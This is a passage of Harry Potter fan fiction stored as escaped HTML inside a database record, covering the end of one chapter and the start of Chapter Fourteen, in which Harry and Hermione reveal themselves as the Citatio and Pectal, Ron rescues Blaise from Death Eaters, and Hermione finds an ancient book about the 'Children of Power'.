<i>but</i>, with the recent &#8216;development&#8217;, it very well can.&#8221;</p>\n\n<p>&#8220;Recent development?&#8221; Hermione asked, and Harry proceeded to tell her about Voldemort. When he had finished, Hermione was confused, and a bit scared.</p>\n\n<p>&#8220;But why hasn&#8217;t he come here then? He knows we&#8217;re here, and wants us dead. And if he can Wander-&#8220; she shuddered at the thought, &#8220;-he should be able to get in!&#8221;</p>\n\n<p>Harry shook his head. &#8220;I don&#8217;t know. Perhaps he can&#8217;t. Or perhaps he has something planned out. But now it is very important that we somehow manage to prevent people from Wandering at Hogwarts,&#8221; he said. &#8220;I&#8217;ve already started, and I have a rough sketch, but I need you to help me.&#8221;</p>\n\n<p>&#8220;Me?&#8221; Hermione asked, startled. &#8220;How? When? Now?&#8221;</p>\n\n<p>Harry snorted with laughter. &#8220;No, not right now. It would be impossible, due to the spells I&#8217;ve already placed. They need time to manifest themselves.&#8221; He sighed. &#8220;But anyway, I&#8217;ve talked to Albus. When it comes out that you&#8217;re the Pectal, you must move out of your dorm. To avoid complications and stuff.&#8221; Hermione nodded and Harry continued. &#8220;I&#8217;ve also asked the Headmaster if it is possible for you to take your NEWTs now, so you can concentrate completely on your training.&#8221;</p>\n\n<p>Hermione nodded uncertainly. &#8220;But I don&#8217;t know if I can manage the NEWTs now. I&#8217;m not prepared-&#8220; </p>\n\n<p>Harry laughed heartily, much to Hermione&#8217;s annoyance. &#8220;Hermione!&#8221; he cried. &#8220;You could have passed the NEWTs two years ago, with flying colours!&#8221;</p>\n\n<p>Hermione blushed. &#8220;Okay, okay, I&#8217;ll take those NEWTs,&#8221; she said, a bit curtly, as she didn&#8217;t like being laughed at.</p>\n\n<p>Harry smiled and seated himself on the arm of Hermione&#8217;s chair. &#8220;Don&#8217;t worry, Hermione,&#8221; he said. &#8220;You&#8217;ll do fine.&#8221; He leaned in and caught her lips in a tender kiss, which soon grew more passionate. Groaning softly, he allowed her to put her arms around his neck and pull him further down. Hadn&#8217;t he been so occupied, he would have noticed that his spine, which was twisted into a rather awkward position, didn&#8217;t have a very good time. </p>\n\n<p>They pulled apart, both rather breathless.</p>\n\n<p>&#8220;That was&#8230;nice,&#8221; Harry breathed, and Hermione smiled shyly.</p>\n\n<p>Harry suddenly turned serious again. &#8220;You will have to tell your parents about you being-&#8220;</p>\n\n<p>Hermione broke him off, suddenly hysterical. &#8220;My parents!&#8221; she cried. &#8220;What about them? Voldemort must have killed them by now!&#8221; She tried to get out of the chair, but Harry stopped her.</p>\n\n<p>&#8220;Don&#8217;t worry, Hermione. I placed wards over your house when I found out you were the Pectal, and yesterday I moved them to Hogwarts, when I found out Voldemort could Wander. And before you ask, no, you can&#8217;t meet them now. We&#8217;ll place them under the Fidelius Charm; they&#8217;ll be quite safe then.&#8221;</p>\n\n<p>Hermione calmed down again, and nodded. &#8220;You&#8217;re right. I must tell them about me being a Pectal.&#8221; She looked pointedly at him. &#8220;And about us.&#8221;</p>\n\n<p>Harry winced.</p>\n\n<p>~*~</p>\n\n<p>The Order of the Phoenix and quite a few of the Aurors&#8217; highest commanders were in the room. Some of them had never met before, so they had spent quite a lot of time on introductions. And now everyone were craving answers. Few knew how they had gotten the information about the attack, few knew who the Golden Mask was, though many guessed it was a Citatio, especially as all the Healers insisted that they&#8217;d seen a Pectal at Hogwarts. No one recognised what You-Know-Who had done when he arrived at the Ministry, and of course there was the matter of Harry Potter, who the Healers claimed to have seen too. Everyone however, suspected that Dumbledore knew quite a lot, and therefore, they awaited an explanation. An explanation Dumbledore secretly was waiting for too.</p>\n\n<p>Someone though, wasn&#8217;t as patient.</p>\n\n<p>&#8220;Albus, we all know who the Pectal is, and you know it too,&#8221; Snape said. All the teachers had found out when the Death Eaters attacked Hogwarts, though they had been silenced by Dumbledore. &#8220;Why don&#8217;t bring the Granger girl here?&#8221;</p>\n\n<blockquote>&#8220;Because she isn&#8217;t the right person, Severus,&#8221; Dumbledore answered patiently.&nbsp; &#8220;She&#8217;s still very much in training. We&#8217;re waiting for the Citatio, the so-called &#8216;Golden Mask&#8217;.&#8221; Dumbledore made a dramatic pause, and hid a smile. He was looking forward to see their reaction when they got to know exactly who the Citatio was. &#8220;He will,&#8221; Dumbledore continued, &#8220;be able to tell us exactly what Voldemort-&#8220; several people flinched &#8220;-did today.&#8221; He added secret: <i>&#8216;I hope&#8217;</i>, to himself.</blockquote>\n\n<p>Snape growled. &#8220;I still can&#8217;t figure how you could give the responsibility for her training to Atos,&#8221; he continued. &#8220;He could be a Death Eater for all we know!&#8221;</p>\n\n<p>&#8220;But he isn&#8217;t,&#8221; Harry Potter said, as he stepped out of the shadows, closely followed by Hermione.</p>\n\n<p>Quite a few jaws dropped. Harry smirked. &#8220;As you all know who I am, I won&#8217;t bother with introducing myself, but go straight to the point.&#8221; That he did, before anyone could manage to shut their mouths again. &#8220;What Voldemort-&#8220; quite a few flinched &#8220;-did at the Ministry is called Wandering. It is a thing only Pectals and Citatios can do. I assume you all know what they are?&#8221; he asked. No one spoke up. &#8220;As I said, no one but Pectals and Citatios can Wander.&#8221;</p>\n\n<p>The fact started to sink in. &#8220;Does that mean that Voldemort is a Citatio?&#8221; one of the Aurors asked, fearfully.</p>\n\n<p>Harry sighed. &#8220;No, Mr. Harrington,&#8221; he said, having read the man&#8217;s name from his mind. &#8220;There can be only one Citatio and one Pectal in the world at once. And both are here now.&#8221;</p>\n\n<p>&#8220;Where?&#8221; one of the others demanded. </p>\n\n<p>Without batting an eyelash, Harry stepped forward, and mentally told Hermione to do the same, making sure he wasn&#8217;t broad-casting. The Aurors and the Order members were sitting in a circle, along the walls of the circular room, which was well hidden, deep under the school.</p>\n\n<p>Harry held up a hand, and something golden sprung from it. It looked like flower at first, but then it widened, the threads spread, forming an intricate pattern. The threads glowed with a gentle light, illuminating the room. The others stared in awe, as the threads reached the walls, the floor, the ceiling. It looked like they were embedding themselves into the stone, forming patterns there too. And then suddenly, silver threads started to spread, and they saw Hermione standing there. Her threads followed Harry&#8217;s, but not always. Sometimes they took off, forming patterns of their own, they too glowing. The two Children of Power released the threads, allowing them to be consumed by the walls.</p>\n\n<p>The adults stared at the walls, astonished. Golden and silver patterns covered them, and in between it was black stone. It was breath-taking. The two youths had certainly proved their point.</p>\n\n<p>&#8220;Oh.&#8221; It was the Auror who had asked &#8216;where&#8217;. The room suddenly erupted: People were asking questions, demanding answers, talking together in loud voices. Hermione covered her ears.</p>\n\n<p>&#8220;Silence,&#8221; Harry said, raising his voice slightly. The effect was instant. The room fell silent. Harry held back a snicker; that Voice gift was fun. &#8220;As I said, the Pectal and the Citatio are here, both of them. I do not think it will surprise any of you if I say that I was at the election today.&#8221; He paused, and whispers ran though the room. &#8220;And now, I think it is time for me and Hermione to reveal ourselves. Voldemort-&#8220; several people flinched again, and Harry fought a sigh, &#8220;-already knows who we are, and it is better that the public get it from us than from him. Besides, people need to know everything about the resistance. As powerful as he is now, all support is needed.&#8221; He looked around at the persons assembled. &#8220;And, we need a way to defeat him.&#8221; Then he took Hermione with him, and they seated themselves in two chairs beside Dumbledore.</p>\n\n<p>The rest of the meeting they were asked questions, which they tried to answer as well as they could. They had decided not to tell about Mind-Reading and Soul-Searching though, as people probably would object to it, and demand a block. It was decided that they had to find out exactly <i>what </i>You-Know-Who was, and how powerful he was. Those who didn&#8217;t know, were introduced to the prophecy, and most agreed that it pointed towards Harry and Hermione. Harry did most of the talking, and told them that Hermione would start taking her NEWTs the next day, so she could fully participate in the resistance. </p>\n\n<p>&#8220;But you&#8217;re both children!&#8221; one of the male Aurors exclaimed, clearly dissatisfied with the two of them taking part in &#8216;adult&#8217; work. &#8220;What good can you do?&#8221;</p>\n\n<p>Harry glared at him, and the man cowered slightly. &#8220;If I am &#8216;adult&#8217; enough to be put in Azkaban, I am also adult enough to fight, Mr. Yamamoto,&#8221; he said, so softly that it was barely audible. Everybody heard it though. &#8220;I can fight, you have seen me, and Ms. Granger will soon be capable of doing the same. If you want to stop us, that&#8217;s alright; you may try. But you will not succeed.&#8221; Not many objected after that. </p>\n\n<p>When the meeting came close to an end, it was decided to let the journalist Marice Newman take care of getting everything out to the people. Harry and Hermione would put up Wander wards where it was important, and some from the Order would do research on Voldemort, Citatios and Pectals. They couldn&#8217;t put to many on this task, as that would draw attention. The Healers was very excited to learn that Hermione had a Healing Talent, and wanted to speak with her. </p>\n\n<p>As Hermione and Harry were about to leave, they were interrupted by Snape. He hadn&#8217;t said much during the meeting.</p>\n\n<p>&#8220;Potter,&#8221; he drawled, and Harry turned towards him.</p>\n\n<p>&#8220;Yes, Professor,&#8221; he said, politely.</p>\n\n<p>&#8220;You said, when you came, that Mr. Atos wasn&#8217;t a Death Eater. How do you know that?&#8221;</p>\n\n<p><i>Ahh, </i>Harry thought. <i>He remembered that&#8230;</i> Frankly, Dumbledore probably wouldn&#8217;t have let Christian Atos take up Hermione&#8217;s training, if Harry hadn&#8217;t been so good with Voice and Persuasion. Oh well, what he didn&#8217;t know wouldn&#8217;t hurt him. This time.</p>\n\n<p>&#8220;Quite simple, Severus,&#8221; Harry said, and almost laughed at Snape&#8217;s reaction to him using his first name. &#8220;I&#8217;m a Shapeshifter.&#8221;</p>\n\n<p>When realisation dawned for Snape, Harry and Hermione were out of reach.</p>\n\n<p>~*~</p>\n\n<p><i>&#8220;I&#8217;m closer now, Asham. He&#8217;s in the same area as yours. He&#8217;ll be ready soon.&#8221;</i></p>\n\n<p><i>&#8220;Good. Mine&#8217;s ready soon too, and the other two have already arrived.&#8221; </i></p>\n\n<p><i>&#8220;That&#8217;s good news. I feel like I&#8217;m closing in on him. I&#8217;m going to find him faster than you did.&#8221;</i></p>\n\n<p><i>The man, called Asham, grinned. &#8220;Him or her, William.&#8221;</i></p>\n\n<p><i>He other man, called William, groaned. &#8220;Stop that, Asham. It&#8217;s not funny any longer.&#8221; But he smiled too, as he said so.</i></p>\n\n<p>~*~</p>\n\n<p>Hermione giggled as Harry led her to the room that had been prepared for her. Though, she didn&#8217;t actually fancy the next time she met Snape, even though she was a Pectal. He could be rather&#8230; satiric&#8230; at times. Especially now that Harry had out-manoeuvred him so seriously. That she wasn&#8217;t Harry wouldn&#8217;t bother him much. </p>\n\n<p>It would be fun though, to meet her year-mates again. Her room-mates had been informed that she wouldn&#8217;t return, and they would soon find out why. That would surprise them.</p>\n\n<p>&#8220;You know, that was hilarious, Harry. I see why you like surprising people so much,&#8221; Hermione said.</p>\n\n<p>Harry grinned. She would probably like the surprise he had for her now. They stopped outside the door, and Harry, being the gentleman he was, bent down to kiss her goodnight. She sighed when their lips parted again, and Harry could easily see that she had something on her mind. Years and years of acting had made him very observant to such things. She looked at him, with those deep brown eyes, which somehow made his stomach churn.</p>\n\n<p>&#8220;Harry,&#8221; she said, biting her lip. &#8220;I-I&#8217;m frightened,&#8221; she blurted out.</p>\n\n<p>He sighed. &#8220;Hermione,&#8221; he said softly. &#8220;So am I. Voldemort is no joke, we both know that.&#8221; He put his arms around her and embraced her gently. &#8220;But don&#8217;t worry,&#8221; he said, in a light tone. &#8220;The <i>Chiantesh&#8217;alfh</i> can manage everything!&#8221;</p>\n\n<p>She chuckled softly at his enthusiastic behaviour, and he chuckled with her. &#8220;What does &#8216;Chiantesh&#8217;alfh&#8217; mean, Harry,&#8221; she asked.</p>\n\n<p>&#8220;Oh, that,&#8221; he answered. &#8220;It means &#8216;Children of Power&#8217; in the ancient tongue of the Pectals and Citatios. It appears that we once were a kind of race. Or at least had our own community. We called ourselves &#8216;Children of Power&#8217;, to remind ourselves that the power wasn&#8217;t there for us, but we were there for the power.&#8221;</p>\n\n<p>He didn&#8217;t notice Hermione&#8217;s slight frown. <i>I&#8217;m sure I&#8217;ve heard that before&#8230;</i> she thought. <i>Oh well, he&#8217;s probably mentioned it at a point I wasn&#8217;t paying attention.</i></p>\n\n<p>&#8220;But now,&#8221; Harry changed the subject, &#8220;it&#8217;s bed-time.&#8221;</p>\n\n<p>Hermione raised an eyebrow. &#8220;Bed-time Harry? I slept through the whole day.&#8221;</p>\n\n<p>Harry however, didn&#8217;t listen, just opened the door, bowed courteously and showed her inside. &#8220;This way, milady,&#8221; he said in shrill, high-pitched voice. </p>\n\n<p>Hermione grinned at his antics, before she stopped dead in the doorway. &#8220;Mum? Dad?&#8221; she said, disbelieving. In the next second she found herself embraced by her mother. She didn&#8217;t notice Harry closing the door behind her, or the sad look on his face.</p>\n\n<p>Outside the closed door he sighed, before squaring his shoulders and shaking the sadness off. <i>One cannot have everything,</i> he resolved.</p>\n\n<p>~*~</p>\n\n<p>Blaise was frightened. She didn&#8217;t know what had happened today, if <i>He</i> had been victorious, or if He had not. But she feared the worse, because he never called his followers together so soon after an attack. And she hadn&#8217;t even been there, only Marked Death Eaters had. She wished she&#8217;d had the courage to wait long enough to warn Potter or Dumbledore. But if she did, and she was too late, <i>they </i>would become suspicious, and if they found out she was a spy&#8230; she knew what awaited her then. Horrible torture, rape and death. And she would be parted and sent back to people she knew and cared for in pieces. Perhaps she&#8217;d even be parted alive, even though Voldemort didn&#8217;t really fancy &#8216;bloody&#8217; matters. It was too Muggle for him.</p>\n\n<p>She shuddered and drew her cloak tighter around her. She was glad she didn&#8217;t have troubles with the Light side anymore, even though Ron still kept pestering her. She&#8217;d been allowed to tell about an upcoming attack by Atos, but not when and where. It was weird really, cause Potter seemed to be keeping secrets from Dumbledore too&#8230; The Headmaster didn&#8217;t know about Ron. But then, Potter had been Ron&#8217;s best friend, and blackmail was illegal.</p>\n\n<p>No, she wouldn&#8217;t think about Ron. He was a prat, an idiot&#8230; and he had a beautiful smile. She sighed. He <i>was</i> a prat, but yet, there were times when he was almost&#8230; nice to her. She cherished those moments, but she knew it was so hopeless. Her parents were Death Eaters, so she couldn&#8217;t confide in them, and Slytherin friends she didn&#8217;t have. People were right when they said Slytherin was the Dark house, because almost everyone above fifteen in her house got this fanatic shine in their eyes when they talked about&#8230;<i>Him.</i> There were a few who were as deep in as she was, not wanting to be there, and she&#8217;d already pointed them out to Professor Dumbledore, but she couldn&#8217;t confide in them either. They weren&#8217;t trustworthy, as they would do <i>anything</i> to get out of the mess, give her name to an Auror or a superior Death Eater too. </p>\n\n<p>Blaise clenched her fists. Why oh why did she always end up in the bad company. First, she was sorted into Slytherin, which once might have been a honourable house, and it still could be again, but right now it wasn&#8217;t. Then, she was recruited as a Death Eater, and then she fell hopelessly in love with an absolute prat. She ground her teeth together. When she graduated from Hogwarts she was going to ask Dumbledore never to reveal her secret, before she would change her name and flee out of the country, never to return. If Voldemort won, and started to expand to other countries (well, he already had done some attacks in Germany and France, to &#8216;test the waters&#8217; as he called it), she could deal with that then. Now, she only wanted to leave and never return!</p>\n\n<p>She saw the flickering blue light in front of her, between the trees. (Why the Forbidden Forest of all places!) She took a deep breath and stepped into the circle of light, where two Marked ones waited for her. She respectfully waited for them to address her.</p>\n\n<p>&#8220;Ms. Zabini,&#8221; one of them said silkily. &#8220;The Dark Lord is not pleased today&#8230;&#8221; </p>\n\n<p><i>What a nice start,</i> Blaise thought, and struggled not to show any fear. This <i>couldn&#8217;t</i> be any good.</p>\n\n<p>&#8220;You see, he was expected when he arrived at the Ministry today, and we, his servants, failed to kill the new Minister.&#8221;</p>\n\n<p>Now Blaise really struggled to keep her face straight, but her insides coiled with terror.</p>\n\n<p>&#8220;And you,&#8221; continued one of the Marked ones, &#8220;have been observed behaving rather&#8230; abnormally.&#8221;</p>\n\n<p>&#8220;Therefore,&#8221; the other broke in, &#8220;you will be taken in for interrogation.&#8221;</p>\n\n<p>Blaise could no longer keep the fear off her face. She <i>knew</i> what an interrogation meant. You didn&#8217;t stand a chance; you admitted it or died. And if you admitted it you died too.</p>\n\n<p>&#8220;Noo!&#8221; she cried. &#8220;I haven&#8217;t done anything!&#8221;</p>\n\n<p>&#8220;Spare your voice, girl, you&#8217;ll be able to use it later.&#8221;</p>\n\n<p>Blaise managed to think: <i>How clich&#233;,</i> before she turned and ran for her life.</p>\n\n<p>&#8220;Crucio!&#8221;</p>\n\n<p>She fell to the ground, hit in the back, screaming in agony, as the pain of the Cruciatus pierced through her like thousands of glowing swords. She writhed in pain for what seemed like an eternity, and then&#8230; it stopped.</p>\n\n<p>It took her several moments before she was able to think straight again. &#8220;I haven&#8217;t done anything,&#8221; she wept piteously. She saw a dark figure rise over her, wand trained at her, and she heard him speaking the incantation.</p>\n\n<p>&#8220;Stupefy!&#8221; </p>\n\n<p>Confused, Blaise blinked, trying to see clearly. Why should he use the Stunning curse? Then she realised she hadn&#8217;t been hitten by any curse, and that no dark figure was hovering over her any longer. She heard the Stunning curse being repeated, and then another, a dark curse, being uttered. She noticed one of the Marked ones unconscious before her feet, and her mind registered there was a duel going on. </p>\n\n<p>Yellow light whizzed through the air, and the other Marked one slumped to the ground. She could make out a figure in the dark, and squinted her eyes. He/She turned towards her, and Blaise instinctively reached for her wand.</p>\n\n<p>He came fully into view, and she could see the newly risen moon shining down on his features.</p>\n\n<p>&#8220;Ronald!&#8221; she gasped.</p>\n\n<p>He kneeled beside her, and she was shocked when he laid his arms around her, hugging her tight. &#8220;I&#8217;m so sorry,&#8221; he said in a raspy voice. &#8220;I never thought- I never realised- I was so shocked when I saw them hurt you.&#8221;</p>\n\n<p>&#8220;It&#8217;s okay,&#8221; she said, being her own Slytherin, composed self. &#8220;I&#8217;m used to it.&#8221; It was true, it wasn&#8217;t the first time she&#8217;d experienced the Cruciatus.</p>\n\n<p>&#8220;Used to it?&#8221; he asked incredulously. &#8220;Used to it?&#8221;</p>\n\n<p>&#8220;Yes,&#8221; she said, impatiently. &#8220;They do that when they&#8217;re not pleased with us.&#8221; She looked up at him and was startled when she saw tears in his eyes.</p>\n\n<p>&#8220;And I- I forced you to&#8230;&#8221; he trailed off, and she suddenly realised that he hadn&#8217;t understood really <i>what</i> it was to be a Death Eater trainee. And now that he knew, he regretted what he&#8217;d done to her.</p>\n\n<p>He gritted his teeth and looked down at her. &#8220;I&#8217;ll make it right again,&#8221; he promised. &#8220;We&#8217;ll tell Dumbledore, and you&#8217;ll be protected. I&#8217;ll witness, tell everybody you were forced to it. I&#8217;ll take all the guilt if I have to.&#8221;</p>\n\n<p>&#8220;But Ron,&#8221; she said. &#8220;It&#8217;s not your fault.&#8221;</p>\n\n<p>&#8220;Not that you became a Death Eater, no,&#8221; he said. &#8220;That&#8217;s not my fault. But everything else is my fault. I threatened you, and- and. Damnit Blaise! Don&#8217;t tell me I didn&#8217;t make it much, much worse!&#8221;</p>\n\n<p>Blaise would have laughed if it hadn&#8217;t been so serious. The boy had had <i>no</i> idea! <i>No </i>idea to what it was all about. He hadn&#8217;t even <i>thought</i> that she could be hurt, or killed! Either, he was incredibly stupid, or he just had been too caught up in his own mind to notice. <i>I&#8217;d wager for the latter one,</i> Blaise thought dryly to herself, because she knew he wasn&#8217;t stupid. Just so very, very&#8230; egocentric and selfish. Well, now he saw. But yet, why had he rescued her? It was so unlike him to do such a thing.</p>\n\n<p>&#8220;Ron,&#8221; she asked. &#8220;Why did you save me? I&#8217;m of no use to you now, &#8216;cause now they know I&#8217;m a traitor to the Dark.&#8221;</p>\n\n<p>&#8220;Because I- I- &#8230;&#8221; he trailed of, stammering. &#8220;I didn&#8217;t want you to get hurt,&#8221; he whispered. &#8220;I didn&#8217;t want you to get hurt.&#8221; </p>\n\n<p>She was surprised when she saw pure <i>despair</i> and <i>worry</i> in his eyes. She hadn&#8217;t known he could feel such things. Shouldn&#8217;t he be angry at her for not telling him about this meeting?</p>\n\n<p>And why wasn&#8217;t she furious at him? Why was she enjoying having his arms around her, while she should have been furious at him for using her in such a way? Because he regretted it? Or because her heart just <i>had</i> to go skydiving when near him?</p>\n\n<p>But then his words struck her. He didn&#8217;t want her to get hurt! Not because she wasn&#8217;t valuable to him anymore, but because he cared! Blaise wanted to curse her emotions, which right then went into a loop-de-loop. He cared!</p>\n\n<p>&#8220;Ron,&#8221; she asked hopefully. &#8220;Do you care about me?&#8221;</p>\n\n<p>He tightened his grip on her. &#8220;Yes,&#8221; he said. &#8220;I do. And I&#8217;ll make sure no one is ever going to hurt you again. I know you&#8217;ll never forgive me, but I&#8217;ll prot-&#8220;</p>\n\n<p>Blaise cut him of by sealing her lips over his. To say that Ron was surprised would be an understatement, but Blaise left him no time to stay surprised.</p>\n\n<p>Silent rain started to fall, pouring down on the two youths, tightly embraced in new-found love, found in a rather surprising way. Puddles of water started to form, and water dripped from the trees, and soaked the humans who were outside.</p>\n\n<p>A shadow passed quickly over one of the small puddles, so fast it might not have been there.</p>\n\n<p>====================</p>\n\n<p><b>Disclaimer</b>: JKR owns everything except the plot, which is mine. Beta-read by the-dreamer. Go us all.</p>\n\n<p><b>Anyone who wants to get an e-mail every time I update, state so in your review!</b><b></b></p>\n\n<p>Thanks to everyone who reviewed. (Go you) Now, many have commented on the fluff I put in, saying it&#8217;s very good, but I have started to believe you. But don&#8217;t expect me to come up with anything equally good, cause that little kissing scene in Chapter Ten took me ages to write. I wrote it at least a six weeks before I posted it, and I revised it and changed it <i>hundreds </i>of times. But I&#8217;ll do my best further on. Thanks again.</p> '),
	(234, 14, '\n\n<p><b>Chapter Fourteen: The Chiantesh&#8217;alfh</b></p>\n\n<p>Hermione was tired when she finally went to bed that day. She&#8217;d chattered with her parents, and she had told them about being a Pectal, but they didn&#8217;t really seem to grasp it. She sighed. They were worried. Of course they now knew about the war in the Wizarding world, and when they heard she&#8217;d probably be in the front lines&#8230; It had taken her hours to get her father to understand that she had to do what she had to do, and that leaving the Wizarding world, as he suggested, wouldn&#8217;t help one bit. Her mother though, seemed understanding. But then, she probably knew her daughter a bit better than her husband did. She knew that if Hermione had settled on something which she deemed important, nothing could get her to waver. She also understood the Pure-blood/mudblood concept better, as she&#8217;d grown up in <st1:country-region><st1:place>South Africa</st1:place></st1:country-region>, and knew a lot about racism, even though she&#8217;d seen it from the white side. So Alicia Granger just hugged her daughter fiercely, and told her to be careful. Hermione neglected to tell just how dangerous her future seemed to be.</p>\n\n<p>They both agreed to the Fidelius Charm, however reluctantly. They didn&#8217;t quite understand why they had to hide, until Hermione calmly told them that someone might kill them just to hurt her, as she, Hermione, was an important key in the defence. (Again she neglected to tell them one important thing; she wasn&#8217;t a part of the defence, but the offence.) Then she happened to mention her tutor, who was training her in &#8216;defence&#8217;. Alicia Granger, knowing her daughter very well, and being a very observant woman, immediately sensed that it was something about this &#8216;Harry Potter&#8217;, <i>(There is something familiar about that name&#8230;) </i>that her daughter hadn&#8217;t told her. She questioned Hermione about him, upon which she quickly answered that he was the Defence Against the Dark Arts Professor at Hogwarts. </p>\n\n<p>&#8220;Tell me about him,&#8221; Alicia had prompted, and watched as her daughter blushed deeply. And then came the whole story about Harry, who she&#8217;d met in her first year at school, <i>(Oh yes, she talked about him and another one named Ron, if I remember correctly&#8230;) </i>and then the tale of Harry&#8217;s imprisonment, escape, the Professor position he now held, and so on. Even Mr. Granger started to get suspicious by the end of her speech.</p>\n\n<p>&#8220;So,&#8221; Alicia said. &#8220;Is he handsome?&#8221;</p>\n\n<p>&#8220;Mum!&#8221; Hermione cried, but her blush told everything, not that Mrs Granger hadn&#8217;t figured the whole thing out already. Hermione had indeed spent a rather embarrassing evening in her parents&#8217; company, an evening she hopefully wouldn&#8217;t experience again. It was weird how they felt that they had to repeat their &#8230; advices with every boyfriend she had. Of course, it had been different with Victor, but then again, it had only lasted a bit less than a year. Hermione couldn&#8217;t imagine breaking up with Harry. As her mother voiced it: <i>Ahh! Young love!</i></p>\n\n<p>~*~</p>\n\n<p>Harry spent the evening going through some papers. It had been decided by Dumbledore that he&#8217;d continue as Professor Christian Atos. Dumbledore trusted his staff completely, and knew they wouldn&#8217;t tell anyone about his secret identity. It was unlikely that those who had heard Harry tell Snape he was a Shapeshifter would draw the connection, other than perhaps the other professors at Hogwarts. To secure his position, Dumbledore had decided to take him, Christian, into the Order as a member. For this, they needed three Order members as witnesses. As all the Hogwarts professors knew about Harry being Christian, or would soon know, it wouldn&#8217;t be hard to find witnesses who wouldn&#8217;t reveal his identity. Harry would, however, need to pledge his loyalty (and real identity) under truth serum. </p>\n\n<p>So Harry was again set on the boring task of preparing lessons. True, it could be fun sometimes, but being a teacher definitely wasn&#8217;t something he wanted to make a living of. Besides, right now he couldn&#8217;t really concentrate as his brain was churning on different matters; mainly Voldemort. He knew he ought to find out exactly <i>what </i>Voldemort was, because a normal wizard he was not, and neither a Citatio. If there was one thing the books which spoke of Citatios and Pectals agreed on, it was that there couldn&#8217;t be more than <i>one</i> Citatio and <i>one </i>Pectal in the world at once, and they were born in each others&#8217; lifetimes. <i>That</i> bit of information was one of the very few things <i>all</i> sources agreed on. But only Citatios and Pectals could Wander, because that was a Children of Power treat. And if Voldemort wasn&#8217;t a Citatio, how could he then Wander?</p>\n\n<p>Harry growled in frustration and tried to concentrate on the lessons. He&#8217;d tell the students about the Vikings next week. Centuries back, there had been a group of wizards who had manipulated numerous Scandinavian Muggles into raiding other countries to gain riches for them. The Muggles didn&#8217;t know that these people were wizards, and had been reluctant at first. The wizards had persuaded them with the help of spells, and it had only taken a generation or two before they&#8217;d adapted to this new way of living, and turned half of the population into blood-thirsty thieves. However, they weren&#8217;t only blood-thirsty thieves, because at home, when they weren&#8217;t raiding, they were in fact rather peaceful. They had an intricate society, with the King above all, then the Earls, then the Chieftains, then the farmers who owned their own land, then the farmers who rented land, and then the slaves, which were stolen from their homes during the Vikings&#8217; raids. They even had strict laws. </p>\n\n<p>Harry thought this could be a nice introduction to what he planned to teach about mind spells, among them the Imperius Curse.</p>\n\n<p>He sighed. He had to get some sleep before the morning came, and fortunately, he rapidly fell into a peaceful slumber. When he thought about it, he had slept well since the day Hermione healed his headache&#8230;</p>\n\n<p>~*~</p>\n\n<p>Hermione bolted upright in her bed. The <i>Chiantesh&#8217;alfh!</i> Now she remembered! <i>&#8216;The Era of the Chiantesh&#8217;alfh&#8217;! </i>The book in the library! The box which she hadn&#8217;t been able to open before she used her Pectal powers!</p>\n\n<p>~*~</p>\n\n<p>Hermione ran into Harry&#8217;s bedroom with the box in her hands. &#8220;Harry!&#8221; she cried. Harry woke immediately, and jumped right out of his bed, alert, with his wand in hand.</p>\n\n<p>&#8220;What?&#8221; he asked. &#8220;What&#8217;s happening? Is Voldemort attacking?!&#8221;</p>\n\n<p>Hermione blushed bright red and turned her back to him. &#8220;No! I just have something to show you!&#8221;</p>\n\n<p>Harry raised his eyebrows. &#8220;In the middle of the night?&#8221;</p>\n\n<p>&#8220;Yes!&#8221; Hermione cried. &#8220;In the middle of the night!&#8221;</p>\n\n<p>&#8220;Err&#8230;Right,&#8221; Harry said. &#8220;Well then, what is it?&#8221;</p>\n\n<p>Hermione didn&#8217;t move. She stood with her back turned towards him.</p>\n\n<p>&#8220;Hermione?&#8221; Harry asked, confused.</p>\n\n<p>Hermione still didn&#8217;t move. &#8220;Harry, you&#8217;re not decent,&#8221; she said.</p>\n\n<p>Harry looked down at himself. He had nothing but his boxers on. &#8220;Well,&#8221; he said, trying not to blush himself. &#8220;That ought to teach you not to come barging into my bedroom in the middle of the night.&#8221;</p>\n\n<p>&#8220;Just get some clothes on!&#8221; Hermione cried.</p>\n\n<p>Harry chuckled and quickly pulled a T-shirt and some pants on, before following Hermione out of the bedroom again.</p>\n\n<p>&#8220;So,&#8221; he asked. &#8220;What so important that you come rushing into my bedroom at&#8230;&#8221; he looked at his watch, &#8220;<st1:time hour="3" minute="0">three o&#8217;clock</st1:time> in the morning?&#8221;</p>\n\n<p>&#8220;This!&#8221; Hermione eagerly showed him the box, before explaining how she&#8217;d found it, and about the book which had been entitled <i>&#8216;The Era of the Chiantesh&#8217;alfh&#8217;. </i>Harry&#8217;s attention was immediately perked.</p>\n\n<p>~*~</p>\n\n<p>&#8220;The book just disappeared, and left a small hidden room in which you found these books?&#8221; he asked, and Hermione nodded.</p>\n\n<p>&#8220;Yes, and since you have a Language gift, I thought you might be able to read them!&#8221; she said.</p>\n\n<p>Harry nodded, looked at the books and frowned. &#8220;I might. It&#8217;ll take some time though. It usually takes a few hours to learn a new language&#8230;&#8221; his eyes shot open. &#8220;Wait a sec! I can understand that title already!&#8221; He squinted his eyes. &#8220;Directly translated it is <i>&#8216;The Time Which Belongs to the Two Power Children&#8217;.</i> Yes, that&#8217;s it.&#8221; He opened the book on the first page. Frowning, he tried to read the words. &#8220;As I thought,&#8221; he murmured.</p>\n\n<p>&#8220;What?&#8221; Hermione said, impatiently.</p>\n\n<p>&#8220;It&#8217;s the language the Pectals and Citatios spoke in ancient times, when there were more of us. That&#8217;s why I can understand it so easily, since I&#8217;m a Citatio myself.&#8221; He went back to examine the book, murmuring to himself.</p>\n\n<p>&#8220;The title,&#8221; he announced after a while, &#8220;will, in English be &#8216;<i>The Era of the Children of Power&#8217;,</i>&#8221; he said. &#8220;The book which disappeared was a clue. Half the title being English, the other half being in Citatio/Pectal language, it would trigger something in every Citatio and Pectal, even though he or she couldn&#8217;t read the language, or had any Language Talent, so he or she would try to take it upon seeing it. If a non-Citatio or a non-Pectal had found the box, they would have been unable to open it.&#8221;</p>\n\n<p>&#8220;Yes, yes!&#8221; Hermione nodded impatiently, &#8220;but what are they about!&#8221;</p>\n\n<p>Harry furrowed his brows. &#8220;This one,&#8221; he said, and pointed to <i>&#8216;The Era of the Children of Power&#8217;,</i> &#8220;is about the People we once were.&#8221; He picked up the other book, trying to decipher the title. &#8220;This one is named <i>&#8216;Talents&#8217;</i>.&#8221; He raised his eyebrows and whistled softly. &#8220;Valuable information in both, I would suspect. Perhaps we can even find something about Voldemort.&#8221;</p>\n\n<p>Hermione nodded eagerly. &#8220;Can you translate it?&#8221; she asked, however, the question ended in a large yawn. Harry followed suit, and this sent them into a laughing fit.</p>\n\n<p>&#8220;Right,&#8221; 